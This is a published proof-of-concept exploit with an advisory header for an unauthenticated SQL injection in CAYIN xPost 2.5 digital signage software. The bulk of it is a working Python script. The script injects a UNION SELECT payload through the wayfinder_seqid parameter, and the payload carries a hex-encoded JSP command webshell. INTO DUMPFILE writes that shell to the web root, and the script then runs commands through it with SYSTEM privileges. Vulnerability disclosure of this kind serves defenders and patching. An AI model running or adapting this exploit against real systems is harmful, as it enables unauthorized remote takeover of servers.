Cayin Digital Signage System xPost 2.5 Code Execution / SQL Injection

CAYIN xPost version 2.5 suffers from an unauthenticated SQL injection vulnerability. Input passed via the GET parameter wayfinder_seqid in wayfinder_meeting_input.jsp is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and execute SYSTEM commands.


MD5 | d6686dcd290750e64871dcec7268adfc

#!/usr/bin/env python3
#
#
# Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution
#
#
# Vendor: CAYIN Technology Co., Ltd.
# Product web page: https://www.cayintech.com
# Affected version: 2.5.18103
# 2.0
# 1.0
#
# Summary: CAYIN xPost is the web-based application software, which offers a
# combination of essential tools to create rich contents for digital signage in
# different vertical markets. It provides an easy-to-use platform for instant
# data entry and further extends the usage of CAYIN SMP players to meet users'
# requirements of frequent, daily maintenance.
#
# Desc: CAYIN xPost suffers from an unauthenticated SQL Injection vulnerability.
# Input passed via the GET parameter 'wayfinder_seqid' in wayfinder_meeting_input.jsp
# is not properly sanitised before being returned to the user or used in SQL queries.
# This can be exploited to manipulate SQL queries by injecting arbitrary SQL code
# and execute SYSTEM commands.
#
# --------------------------------------------------------------------------------
# [email protected]:~$ python3 wayfinder.py 192.168.2.1:8888
# # Injecting...
# # Executing...
#
# Command: whoami
#
# nt authority\system
#
#
# You have a webshell @ http://192.168.2.1:8888/thricer.jsp
# [email protected]:~$
# --------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 10 Home
# Microsoft Windows 8.1
# Microsoft Windows Server 2016
# Microsoft Windows Server 2012
# Microsoft Windows 7 Ultimate SP1
# Apache Tomcat/9.0.1
# MySQL/5.0
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2020-5571
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php
#
#
# 15.05.2020
#

import requests as req
import time as vremeto
import sys as sistemot
import re as regularno

if len(sistemot.argv) < 2:
print("Cayin xPost 2.5 Pre-Auth SQLi RCE")
print("Usage: ./wayfinder.py ip:port")
sistemot.exit(19)
else:
ip = sistemot.argv[1]

filename = "thricer.jsp"
urlpath = "/cayin/wayfinder/wayfinder_meeting_input.jsp?wayfinder_seqid="
constr = "-251' UNION ALL SELECT "

print("# Injecting...")

cmdjsp = "0x3c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612"
cmdjsp += "e696f2e2a22253e0a3c250a2f2f0a2f2f204a53505f4b49540a2f2f0a2f2f20636d64"
cmdjsp += "2e6a7370203d20436f6d6d616e6420457865637574696f6e2028756e6978290a2f2f0"
cmdjsp += "a2f2f2062793a20556e6b6e6f776e0a2f2f206d6f6469666965643a2032372f30362f"
cmdjsp += "323030330a2f2f0a253e0a3c48544d4c3e3c424f44593e0a3c464f524d204d4554484"
cmdjsp += "f443d2247455422204e414d453d226d79666f726d2220414354494f4e3d22223e0a3c"
cmdjsp += "494e50555420545950453d227465787422204e414d453d22636d64223e0a3c494e505"
cmdjsp += "55420545950453d227375626d6974222056414c55453d2253656e64223e0a3c2f464f"
cmdjsp += "524d3e0a3c7072653e0a3c250a69662028726571756573742e676574506172616d657"
cmdjsp += "465722822636d64222920213d206e756c6c29207b0a20202020202020206f75742e70"
cmdjsp += "72696e746c6e2822436f6d6d616e643a2022202b20726571756573742e67657450617"
cmdjsp += "2616d657465722822636d642229202b20223c42523e22293b0a202020202020202050"
cmdjsp += "726f636573732070203d2052756e74696d652e67657452756e74696d6528292e65786"
cmdjsp += "56328726571756573742e676574506172616d657465722822636d642229293b0a2020"
cmdjsp += "2020202020204f757470757453747265616d206f73203d20702e6765744f757470757"
cmdjsp += "453747265616d28293b0a2020202020202020496e70757453747265616d20696e203d"
cmdjsp += "20702e676574496e70757453747265616d28293b0a202020202020202044617461496"
cmdjsp += "e70757453747265616d20646973203d206e65772044617461496e7075745374726561"
cmdjsp += "6d28696e293b0a2020202020202020537472696e672064697372203d206469732e726"
cmdjsp += "561644c696e6528293b0a20202020202020207768696c652028206469737220213d20"
cmdjsp += "6e756c6c2029207b0a202020202020202020202020202020206f75742e7072696e746"
cmdjsp += "c6e2864697372293b200a2020202020202020202020202020202064697372203d2064"
cmdjsp += "69732e726561644c696e6528293b200a202020202020202020202020202020207d0a2"
cmdjsp += "0202020202020207d0a253e0a3c2f7072653e0a3c2f424f44593e3c2f48544d4c3e0a"
cmdjsp += "0a0a"

columns = ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL "
sqlwrite = "INTO DUMPFILE 'C:/CayinApps/webapps/" + filename + "'-- -"
mysqli = constr + cmdjsp + columns + sqlwrite
r = req.get("http://" + ip + urlpath + mysqli, allow_redirects = True)
vremeto.sleep(1)

print("# Executing...")

r = req.get("http://" + ip + "/" + filename + "?cmd=whoami")
clean = regularno.compile("<pre>(.*)</pre>", flags = regularno.S).search(r.text)
clean = clean.group(1).replace("<BR>", "\n")
print(clean)
print("You have a webshell @ http://" + ip + "/" + filename)

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